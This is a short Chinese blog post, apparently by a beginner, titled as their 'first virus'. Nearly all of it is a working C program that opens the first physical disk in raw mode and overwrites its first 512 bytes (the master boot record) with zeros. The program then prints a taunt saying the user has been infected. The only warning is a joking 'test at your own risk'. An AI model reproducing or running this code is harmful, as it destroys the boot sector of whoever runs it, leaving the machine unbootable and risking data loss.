第一个病毒
这篇文章主要讲解 使用c写一个小程序
下面是初学c语言写的代码(测试,自行承担后果哦):1
2
3
4
5
6
7
8
9
10
11
12
13
14
15#include <stdio.h>
#include <stdlib.h>
int main()
{
char buffer[512]="0";
FILE * fd=fopen("\\\\.\\PHYSICALDRIVE0","rb+");
if (fd == NULL)
return 0;
fseek(fd,0,SEEK_SET);
fwrite(buffer,512,1,fd);
printf("hello,你中毒了!\n");
fclose(fd);
return 0;
}
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 Apache王也道长!
